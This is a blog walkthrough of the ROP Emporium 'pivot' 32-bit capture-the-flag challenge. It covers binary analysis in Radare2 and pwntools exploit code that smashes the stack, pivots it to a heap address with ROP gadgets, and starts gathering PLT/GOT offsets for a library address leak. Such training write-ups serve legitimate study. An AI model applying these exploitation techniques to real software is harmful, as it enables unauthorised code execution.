Zero State Machine

Mathematics in an oppressed world.

ROPEmporium: Pivot 32-bit CTF Walkthrough With Radare2

| Comments

Preface

The challenge together with the ELF binaries are located at https://ropemporium.com/challenge/pivot.html. This walkthrough will focus on using the Radare2 for the binary executable analysis and debugging, so basic knowledge of this awesome tool is assumed.

In this post, the 32-bit binary will be cracked and analysed and a future post will do the same for the 64-bit binary.

UPDATE: 64-bit walkthrough is here

The challenge in short is to pivot the stack using a ROP chain to a heap address which is given by the executable and leak the addresses of the library functions which contain the target, the ret2win() function which prints out the flag.

There are multiple ways to approach this challenge. The first strategy is to build a ROP chain to leak the library function addresses with the standard C library puts() function, second is to compile a ROP chain which does the same thing using registers. The first one will be used in this post for the 32-bit version and the second one for the 64-bit in the next walkthrough post.

Prerequisites

There are a few basic computing concepts used on this walkthrough the reader should be familiar with:

  • Intel x86/x86-64 processor instruction set and architecture
  • ELF binary structure
  • Dynamic linking, relocatable code and Procedure link table and Global offset table (PLT/GOT)
  • Virtual memory
  • Stack frames
  • Return oriented programming and stack overflow
  • Stack smashing mitigation techniques such as NX, ASLR and canaries

32-bit binary

ELF analysis

Downloading the ELF binaries gives you the pivot32 executable and the libpivot32.so link library. Radare2 and File linux utility can be used to quickly determine the ELF binary properties:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
janne808@megatron:~/pwnwork/pivot$ file pivot32
pivot32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7d291f508294412d56bfbc9b8a5a36de5330596, not stripped
janne808@megatron:~/pwnwork/pivot$ file libpivot32.so
libpivot32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=a30bcc73d6a5b73e27c3967c5ac2486272ee5e21, not stripped
janne808@megatron:~/pwnwork/pivot$ r2 -d pivot32
Process with PID 7136 started...
= attach 7136 7136
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
 -- Enable asm.trace to see the tracing information inside the disassembly
[0xf7723a20]> iI
arch     x86
binsz    6616
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    ./
static   false
stripped false
subsys   linux
va       true

Further, we need to identify the general structure of the binary. The following analyzes the source code structure and prints out the functions and imported functions in the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[0xf7723a20]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[Cannot find section boundaries in here
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 7136 7136
[0xf7723a20]> afl
0x08048550    3 35           sym._init
0x08048590    1 6            sym.imp.printf
0x080485a0    1 6            sym.imp.free
0x080485b0    1 6            sym.imp.fgets
0x080485c0    1 6            sym.imp.malloc
0x080485d0    1 6            sym.imp.puts
0x080485e0    1 6            sym.imp.exit
0x080485f0    1 6            sym.imp.foothold_function
0x08048600    1 6            sym.imp.__libc_start_main
0x08048610    1 6            sym.imp.setvbuf
0x08048620    1 6            sym.imp.memset
0x08048630    1 6            sub.__gmon_start___252_630
0x08048640    1 33           entry0
0x08048670    1 4            sym.__x86.get_pc_thunk.bx
0x08048680    4 43           sym.deregister_tm_clones
0x080486b0    4 53           sym.register_tm_clones
0x080486f0    3 30           sym.__do_global_dtors_aux
0x08048710    4 43   -> 40   sym.frame_dummy
0x0804873b    1 183          sym.main
0x080487f2    1 175          sym.pwnme
0x080488a1    1 21           sym.uselessFunction
0x080488d0    4 93           sym.__libc_csu_init
0x08048930    1 2            sym.__libc_csu_fini
0x08048934    1 20           sym._fini

Disassembly of the main() function gives a good overview of the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
[0xf7723a20]> s main
[0x0804873b]> pdf
            ;-- main:
	    / (fcn) sym.main 183
	    |   sym.main ();
	    |           ; var int local_10h @ ebp-0x10
	    |           ; var void local_ch @ ebp-0xc
	    |           ; var int local_4h_2 @ ebp-0x4
	    |           ; var int local_4h @ esp+0x4
	    |              ; DATA XREF from 0x08048657 (entry0)
	    |           0x0804873b      8d4c2404       lea ecx, [local_4h]         ; 4
	    |           0x0804873f      83e4f0         and esp, 0xfffffff0
	    |           0x08048742      ff71fc         push dword [ecx - 4]
	    |           0x08048745      55             push ebp
	    |           0x08048746      89e5           mov ebp, esp
	    |           0x08048748      51             push ecx
	    |           0x08048749      83ec14         sub esp, 0x14
	    |           0x0804874c      a164a00408     mov eax, dword [obj.stdout__GLIBC_2.0] ; [0x804a064:4]=0
	    |           0x08048751      6a00           push 0
	    |           0x08048753      6a02           push 2                      ; 2
	    |           0x08048755      6a00           push 0                      ; size_t size
	    |           0x08048757      50             push eax                    ; int mode
	    |           0x08048758      e8b3feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
	    |           0x0804875d      83c410         add esp, 0x10
	    |           0x08048760      a140a00408     mov eax, dword [obj.stderr__GLIBC_2.0] ; [0x804a040:4]=0
	    |           0x08048765      6a00           push 0
	    |           0x08048767      6a02           push 2                      ; 2
	    |           0x08048769      6a00           push 0                      ; size_t size
	    |           0x0804876b      50             push eax                    ; int mode
	    |           0x0804876c      e89ffeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
	    |           0x08048771      83c410         add esp, 0x10
	    |           0x08048774      83ec0c         sub esp, 0xc
	    |           0x08048777      6850890408     push str.pivot_by_ROP_Emporium ; 0x8048950 ; "pivot by ROP Emporium" ; const char * s
	    |           0x0804877c      e84ffeffff     call sym.imp.puts           ; int puts(const char *s)
	    |           0x08048781      83c410         add esp, 0x10
	    |           0x08048784      83ec0c         sub esp, 0xc
	    |           0x08048787      6866890408     push str.32bits_n           ; 0x8048966 ; "32bits\n" ; const char * s
	    |           0x0804878c      e83ffeffff     call sym.imp.puts           ; int puts(const char *s)
	    |           0x08048791      83c410         add esp, 0x10
	    |           0x08048794      83ec0c         sub esp, 0xc
	    |           0x08048797      6800000001     push 0x1000000              ; size_t size
	    |           0x0804879c      e81ffeffff     call sym.imp.malloc         ;  void *malloc(size_t size)
	    |           0x080487a1      83c410         add esp, 0x10
	    |           0x080487a4      8945f4         mov dword [local_ch], eax
	    |           0x080487a7      8b45f4         mov eax, dword [local_ch]
	    |           0x080487aa      0500ffff00     add eax, 0xffff00
	    |           0x080487af      8945f0         mov dword [local_10h], eax
	    |           0x080487b2      83ec0c         sub esp, 0xc
	    |           0x080487b5      ff75f0         push dword [local_10h]
	    |           0x080487b8      e835000000     call sym.pwnme
	    |           0x080487bd      83c410         add esp, 0x10
	    |           0x080487c0      c745f0000000.  mov dword [local_10h], 0
	    |           0x080487c7      83ec0c         sub esp, 0xc
	    |           0x080487ca      ff75f4         push dword [local_ch]       ; void *ptr
	    |           0x080487cd      e8cefdffff     call sym.imp.free           ; void free(void *ptr)
	    |           0x080487d2      83c410         add esp, 0x10
	    |           0x080487d5      83ec0c         sub esp, 0xc
	    |           0x080487d8      686e890408     push str._nExiting          ; 0x804896e ; "\nExiting" ; const char * s
	    |           0x080487dd      e8eefdffff     call sym.imp.puts           ; int puts(const char *s)
	    |           0x080487e2      83c410         add esp, 0x10
	    |           0x080487e5      b800000000     mov eax, 0
	    |           0x080487ea      8b4dfc         mov ecx, dword [local_4h_2]
	    |           0x080487ed      c9             leave
	    |           0x080487ee      8d61fc         lea esp, [ecx - 4]
	    \           0x080487f1      c3             ret
[0x0804873b]> s sym.pwnme
[0x080487f2]> pdf
/ (fcn) sym.pwnme 175
|   sym.pwnme (char arg_8h);
|           ; var int local_28h @ ebp-0x28
|           ; arg char arg_8h @ ebp+0x8
|              ; CALL XREF from 0x080487b8 (sym.main)
|           0x080487f2      55             push ebp
|           0x080487f3      89e5           mov ebp, esp
|           0x080487f5      83ec28         sub esp, 0x28               ; '('
|           0x080487f8      83ec04         sub esp, 4
|           0x080487fb      6a20           push 0x20                   ; 32
|           0x080487fd      6a00           push 0                      ; size_t n
|           0x080487ff      8d45d8         lea eax, [local_28h]
|           0x08048802      50             push eax                    ; int c
|           0x08048803      e818feffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x08048808      83c410         add esp, 0x10
|           0x0804880b      83ec0c         sub esp, 0xc
|           0x0804880e      6878890408     push str.Call_ret2win___from_libpivot.so ; 0x8048978 ; "Call ret2win() from libpivot.so" ; const char * s
|           0x08048813      e8b8fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048818      83c410         add esp, 0x10
|           0x0804881b      83ec08         sub esp, 8
|           0x0804881e      ff7508         push dword [arg_8h]
|           0x08048821      6898890408     push str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p_n ; 0x8048998 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n" ; const char * format
|           0x08048826      e865fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804882b      83c410         add esp, 0x10
|           0x0804882e      83ec0c         sub esp, 0xc
|           0x08048831      68d4890408     push str.Send_your_second_chain_now_and_it_will_land_there ; 0x80489d4 ; "Send your second chain now and it will land there" ; const char * s
|           0x08048836      e895fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0804883b      83c410         add esp, 0x10
|           0x0804883e      83ec0c         sub esp, 0xc
|           0x08048841      68068a0408     push 0x8048a06              ; const char * format
|           0x08048846      e845fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804884b      83c410         add esp, 0x10
|           0x0804884e      a160a00408     mov eax, dword [obj.stdin__GLIBC_2.0] ; [0x804a060:4]=0
|           0x08048853      83ec04         sub esp, 4
|           0x08048856      50             push eax
|           0x08048857      6800010000     push 0x100                  ; 256
|           0x0804885c      ff7508         push dword [arg_8h]         ; char *s
|           0x0804885f      e84cfdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x08048864      83c410         add esp, 0x10
|           0x08048867      83ec0c         sub esp, 0xc
|           0x0804886a      680c8a0408     push str.Now_kindly_send_your_stack_smash ; 0x8048a0c ; "Now kindly send your stack smash" ; const char * s
|           0x0804886f      e85cfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048874      83c410         add esp, 0x10
|           0x08048877      83ec0c         sub esp, 0xc
|           0x0804887a      68068a0408     push 0x8048a06              ; const char * format
|           0x0804887f      e80cfdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048884      83c410         add esp, 0x10
|           0x08048887      a160a00408     mov eax, dword [obj.stdin__GLIBC_2.0] ; [0x804a060:4]=0
|           0x0804888c      83ec04         sub esp, 4
|           0x0804888f      50             push eax
|           0x08048890      6a3a           push 0x3a                   ; ':' ; 58
|           0x08048892      8d45d8         lea eax, [local_28h]
|           0x08048895      50             push eax                    ; char *s
|           0x08048896      e815fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x0804889b      83c410         add esp, 0x10
|           0x0804889e      90             nop
|           0x0804889f      c9             leave
\           0x080488a0      c3             ret

Doing the same for libpivot32.so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
janne808@megatron:~/pwnwork/pivot$ r2 -d libpivot32.so
Process with PID 4772 started...
= attach 4772 4772
bin.baddr 0x565e8000
Using 0x565e8000
asm.bits 32
 -- Use the 'id' command to see the source line related to the current seek
 [0x565e8640]> aaaa
 [x] Analyze all flags starting with sym. and entry0 (aa)
 TODO: esil-vm not initialized
 [x] Analyze len bytes of instructions for references (aar)
 [x] Analyze function calls (aac)
 [x] Emulate code to find computed references (aae)
 [x] Analyze consecutive function (aat)
 [x] Constructing a function name for fcn.* and sym.func.* functions (aan)
 [x] Type matching analysis for all functions (afta)
 = attach 4772 4772
 [0x565e8640]> afl
 0x565e8000   83 1507 -> 1495 sym.imp.__cxa_finalize
 0x565e85c0    3 35           sym._init
 0x565e8600    2 16   -> 32   sym.imp.printf
 0x565e8610    2 16   -> 48   sym.imp.system
 0x565e8620    2 16   -> 48   sym.imp.exit
 0x565e8630    1 8            fcn.565e8630
 0x565e8638    1 8            fcn.565e8638
 0x565e8640    1 4            entry0
 0x565e8650    4 55           sym.deregister_tm_clones
 0x565e8690    4 71           sym.register_tm_clones
 0x565e86e0    5 71           sym.__do_global_dtors_aux
 0x565e8730    4 60   -> 56   sym.frame_dummy
 0x565e876c    1 4            sym.__x86.get_pc_thunk.dx
 0x565e8770    1 43           sym.foothold_function
 0x565e879b    1 46           sym.void_function_01
 0x565e87c9    1 46           sym.void_function_02
 0x565e87f7    1 46           sym.void_function_03
 0x565e8825    1 46           sym.void_function_04
 0x565e8853    1 46           sym.void_function_05
 0x565e8881    1 46           sym.void_function_06
 0x565e88af    1 46           sym.void_function_07
 0x565e88dd    1 46           sym.void_function_08
 0x565e890b    1 46           sym.void_function_09
 0x565e8939    1 46           sym.void_function_10
 0x565e8967    1 46           sym.ret2win
 0x565e8995    1 4            sym.__x86.get_pc_thunk.ax
 0x565e899c    1 20           sym._fini
[0x565e8967]> s sym.foothold_function
[0x565e8770]> pdf
/ (fcn) sym.foothold_function 43
|   sym.foothold_function ();
|           ; var int local_4h @ ebp-0x4
|           0x565e8770      55             push ebp
|           0x565e8771      89e5           mov ebp, esp
|           0x565e8773      53             push ebx
|           0x565e8774      83ec04         sub esp, 4
|           0x565e8777      e819020000     call sym.__x86.get_pc_thunk.ax
|           0x565e877c      0584180000     add eax, 0x1884
|           0x565e8781      83ec0c         sub esp, 0xc
|           0x565e8784      8d90b0e9ffff   lea edx, [eax - 0x1650]
|           0x565e878a      52             push edx                    ; const char * format
|           0x565e878b      89c3           mov ebx, eax
|           0x565e878d      e86efeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x565e8792      83c410         add esp, 0x10
|           0x565e8795      90             nop
|           0x565e8796      8b5dfc         mov ebx, dword [local_4h]
|           0x565e8799      c9             leave
\           0x565e879a      c3             ret
[0x565e8640]> s sym.ret2win
[0x565e8967]> pdf
/ (fcn) sym.ret2win 46
|   sym.ret2win ();
|           0x565e8967      55             push ebp
|           0x565e8968      89e5           mov ebp, esp
|           0x565e896a      53             push ebx
|           0x565e896b      83ec04         sub esp, 4
|           0x565e896e      e8cdfcffff     call entry0
|           0x565e8973      81c38d160000   add ebx, 0x168d
|           0x565e8979      83ec0c         sub esp, 0xc
|           0x565e897c      8d8319eaffff   lea eax, [ebx - 0x15e7]
|           0x565e8982      50             push eax                    ; const char * string
|           0x565e8983      e888fcffff     call sym.imp.system         ; int system(const char *string)
|           0x565e8988      83c410         add esp, 0x10
|           0x565e898b      83ec0c         sub esp, 0xc
|           0x565e898e      6a00           push 0                      ; int status
\           0x565e8990      e88bfcffff     call sym.imp.exit           ; void exit(int status)

Now, running the binary and deducing from the above gives a good idea what the binary is doing:

1
2
3
4
5
6
7
8
9
10
11
12
janne808@megatron:~/pwnwork/pivot$ ./pivot32
pivot by ROP Emporium
32bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0xf7569f08
Send your second chain now and it will land there
>
Now kindly send your stack smash
>

Exiting

Concluding the analysis, several key points should be noted before going further. There are no import entries for the target function ret2win() in the Procedure link or Global offset tables (PLT/GOT). The only function imported from the target link library is the aptly named foothold_function(), which doesn’t do anything else except print a string to stdout.

Attack strategy

The attack will consists of two stages, where the stack will be smashed to gain ROP execution, pivot the stack to a heap address and ROP chain a link library address leak and a call to ret2win(). The address leak will be done using the puts() function which is imported in the binary from the system libc link library, and the ROP chain will be looped back to main() to smash the stack again with a ROP call to the leaked and offset calculated ret2win() function address.

Overview of the attack:

  • 1st stage:
    • Stack smash
    • Stack pivot
    • libpivot32 address leak
  • 2nd stage:
    • Stack smash to call ret2win()

1st stage

Stack smash

The second fgets() function call in pwnme() is vulnerable to a stack overflow attack and will grant the attacker ROP execution, although only for 3 RETs since the stack space is truncated.

First the stack overflow offset needs to determined using a cyclic buffer. Radare2 framework include a handy utility called ragg2 which can be used to generate such buffers:

1
2
janne808@megatron:~/pwnwork/pivot$ ragg2 -P 600 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQAD

Radare2 can also debug a program and feed the stdin during the execution from a simple text file. We need two lines in this file, as follows:

1
2
3
janne808@megatron:~/pwnwork/pivot$ cat ragg2.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQAD

Radare2 requires a profile.rr2 file to define the stdin feed:

1
2
3
4
janne808@megatron:~/pwnwork/pivot$ cat profile.rr2
#!/usr/bin/rarun2

stdin=./ragg2.txt

Now it is possible to debug the binary with the input feeds automatically:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
janne808@megatron:~/pwnwork/pivot$ r2 -de dbg.profile=./profile.rr2 pivot32
Process with PID 7994 started...
= attach 7994 7994
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
 -- Enable the PAGER with 'e scr.pager=less -R'
 [0xf7734a20]> aaaa
 [x] Analyze all flags starting with sym. and entry0 (aa)
 TODO: esil-vm not initialized
 [x] Analyze len bytes of instructions for references (aar)
 [x] Analyze function calls (aac)
 [x] Emulate code to find computed references (aae)
 [Cannot find section boundaries in here
 [x] Analyze consecutive function (aat)
 [x] Constructing a function name for fcn.* and sym.func.* functions (aan)
 [x] Type matching analysis for all functions (afta)
 = attach 7994 7994
 [0xf7734a20]> dc
 pivot by ROP Emporium
 32bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0xf754bf08
Send your second chain now and it will land there
> Now kindly send your stack smash
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> dr
eax = 0xfff7f0d0
ebx = 0x00000000
ecx = 0x00000000
edx = 0xf770187c
esi = 0xf7700000
edi = 0xf7700000
esp = 0xfff7f100
ebp = 0x414f4141
eip = 0x41415041
eflags = 0x00010282
oeax = 0xffffffff
[0x41415041]> wopO eip
44

The wopO command gives the stack offset from the cyclic De Bruijn Pattern.

1
2
3
4
5
[0x41415041]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr]   Write a De Bruijn Pattern of length 'len' at address 'addr'
| wopD* len [@ addr]  Show wx command that creates a debruijn pattern of a specific length
| wopO value          Finds the given value into a De Bruijn Pattern at current offset

To verify the limited stack space, viewing the stack makes it obvious:

1
2
3
[0x41415041]> pxw 32@esp-4
0xffa47a6c  0x41415041 0x52414151 0x41534141 0x00000041  APAAQAARAASAA...
0xffa47a7c  0x00000000 0x00000001 0xffa47b44 0xf758af08  ........D{....X.

We can now start to write the Python exploit. Define the offset for the stack smash and doublecheck to see if the EIP can be overwritten with it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import struct
from pwn import *

# stack offset to overwrite eip
stack_offset = 44

# stack smash buffer
buffer = "A"*stack_offset + p32(0xdeadbeef)

# run target
p = process("./pivot32")

# Wait for debugger
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)

# process interaction
p.recvuntil("Call ret2win() from libpivot.so")
p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:")
p.recvuntil("Send your second chain now and it will land there")
p.sendline()
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)

p.interactive()

Running the exploit with Radare2 attached to the process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
janne808@megatron:~$ r2 -d 8157
= attach 8157 8157
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
-- Set 'e bin.dbginfo=true' to load debug information at startup.
[0xf7706c89]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[Cannot find section boundaries in here
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 8157 8157
[0xf7706c89]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0xdeadbeef code=1 ret=0
[0xdeadbeef]> dr~eip
eip = 0xdeadbeef
 

Stack is successfully smashed and we can start executing a ROP chain on the stack.

Stack pivot

As mentioned before, there is only space for 3 RETs in the stack and these will be used to rewrite the ESP stack pointer to the address provided by the executable.

Ropper is a good tool to search for ROP gadgets. We need to find a gadget to rewrite ESP:

1
2
3
4
5
6
7
8
9
janne808@megatron:~/pwnwork/pivot$ ropper --file pivot32 --stack-pivot
...
0x0804889b: add esp, 0x10; nop; leave; ret;
0x08048925: add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret;
0x0804856e: add esp, 8; pop ebx; ret;
0x0804856a: ret 0;
0x080486be: ret 0xeac1;
0x08048a4c: ret 0xfffd;
0x080488c2: xchg eax, esp; ret;

Looks like the XCHG gadget is what is needed here (XCHG swaps the register contents, effectively writing EAX to ESP). Next we need a POP gadget to write a value to EAX:

1
2
3
janne808@megatron:~/pwnwork/pivot$ ropper --file pivot32 --search "pop eax"
...
0x080488c0: pop eax; ret;

We have everything we need to pivot the stack to an arbitrary address. First we need to grab the heap address from the stdout as provided by the binary:

1
2
3
# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u32(unhex(heap_addr[2:]), endian='big')

Writing the pivot ROP chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
# gadgets
# -------
# 0x080488c2: xchg eax, esp; ret;
# 0x080488c0: pop eax; ret;

popret = 0x080488c0
xchgret = 0x080488c2

# construct ropchains
# stack pivot chain
ropchain =  p32(popret)
ropchain += p32(heap_addr)
ropchain += p32(xchgret)

The full exploit now looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import struct
from pwn import *

# stack offset to overwrite eip
stack_offset = 44

# gadgets
# -------
# 0x080488c2: xchg eax, esp; ret;
# 0x080488c0: pop eax; ret;

popret = 0x080488c0
xchgret = 0x080488c2

# run target
p = process("./pivot32")

# Wait for debugger
pid = util.proc.pidof(p)[0]
print "The pid is: "+str(pid)
util.proc.wait_for_debugger(pid)

# process interaction
p.recvuntil("Call ret2win() from libpivot.so")

# read heap address
heap_addr = p.recvline_contains("The Old Gods kindly bestow upon you a place to pivot:").strip().rsplit(' ', 1)[1]
heap_addr = u32(unhex(heap_addr[2:]), endian='big')

# construct ropchains
# stack pivot chain
ropchain =  p32(popret)
ropchain += p32(heap_addr)
ropchain += p32(xchgret)

# stack smash buffer
buffer = "A"*stack_offset + ropchain

p.recvuntil("Send your second chain now and it will land there")
p.sendline()
p.recvuntil("Now kindly send your stack smash")
p.sendline(buffer)

p.interactive()

Running this with Radare2 attached will now rewrite ESP and pivot the stack to the heap address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
janne808@megatron:~/pwnwork/pivot$ r2 -d 9226
= attach 9226 9226
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
...
[0xf7767c89]> dr~esp
esp = 0xff889358
[0xf7767c89]> dcu 0x080488c2
Continue until 0x080488c2 using 1 bpsize
hit breakpoint at: 80488c2
[0x080488c2]> pd 2
            ;-- eip:
            0x080488c2      94             xchg eax, esp
            0x080488c3      c3             ret
[0x080488c2]> ds
[0x080488c2]> pd 2
            0x080488c2      94             xchg eax, esp
            ;-- eip:
            0x080488c3      c3             ret
[0x080488c2]> dr~esp
esp = 0xf7580f08

You can now start writing the second ROP chain to leak and calculate the libpivot32 addresses.

libpivot32 address leak

To leak the library address, we need to find offsets for functions in the PLT and GOT. This can be done easily with Radare2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
...
[0xf76dfa20]> afl
0x08048550    3 35           sym._init
0x08048590    1 6            sym.imp.printf
0x080485a0    1 6            sym.imp.free
0x080485b0    1 6            sym.imp.fgets
0x080485c0    1 6            sym.imp.malloc
0x080485d0    1 6            sym.imp.puts
0x080485e0    1 6            sym.imp.exit
0x080485f0    1 6            sym.imp.foothold_function
0x08048600    1 6            sym.imp.__libc_start_main
0x08048610    1 6            sym.imp.setvbuf
0x08048620    1 6            sym.imp.memset
0x08048630    1 6            sub.__gmon_start___252_630
0x08048640    1 33           entry0
0x08048670    1 4            sym.__x86.get_pc_thunk.bx
0x08048680    4 43           sym.deregister_tm_clones
0x080486b0    4 53           sym.register_tm_clones
0x080486f0    3 30           sym.__do_global_dtors_aux
0x08048710    4 43   -> 40   sym.frame_dummy
0x0804873b    1 183          sym.main
0x080487f2    1 175          sym.pwnme
0x080488a1    1 21           sym.uselessFunction
0x080488d0    4 93           sym.__libc_csu_init
0x08048930    1 2            sym.__libc_csu_fini
0x08048934    1 20           sym._fini
[0xf76dfa20]> pdf @ sym.imp.foothold_function
/ (fcn) sym.imp.foothold_function 6
|   sym.imp.foothold_function ();
|              ; CALL XREF from 0x080488a7 (sym.uselessFunction)
\           0x080485f0      ff2524a00408   jmp dword [reloc.foothold_function_36] ; 0x804a024
[0xf76dfa20]> ir
[Relocations]
vaddr=0x08049ffc paddr=0x00000ffc type=SET_32 __gmon_start__
vaddr=0x0804a040 paddr=0x00001040 type=SET_64
vaddr=0x0804a060 paddr=0x00001060 type=SET_64
vaddr=0x0804a064 paddr=0x00001064 type=SET_64
vaddr=0x0804a00c paddr=0x0000100c type=SET_32 printf
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 free
vaddr=0x0804a014 paddr=0x00001014 type=SET_32 fgets
vaddr=0x0804a018 paddr=0x00001018 type=SET_32 malloc
vaddr=0x0804a01c paddr=0x0000101c type=SET_32 puts
vaddr=0x0804a020 paddr=0x00001020 type=SET_32 exit
vaddr=0x0804a024 paddr=0x00001024 type=SET_32 foothold_function
vaddr=0x0804a028 paddr=0x00001028 type=SET_32 __libc_start_main
vaddr=0x0804a02c paddr=0x0000102c type=SET_32 setvbuf
vaddr=0x0804a030 paddr=0x00001030 type=SET_32 memset

14 relocations

[0xf76dfa20]> pd 1@0x0804a024
            ;-- reloc.foothold_function_36:
               ; DATA XREF from 0x080485f0 (sym.imp.foothold_function)
            0x0804a024      .dword 0x080485f6                            ; RELOC 32 foothold_function

Picking up the offsets into the exploit:

1
2
3
4
5
# static elf offsets
foothold_plt = 0x080485f0
foothold_got = 0x0804a024
puts_plt = 0x080485d0
main = 0x0804873b

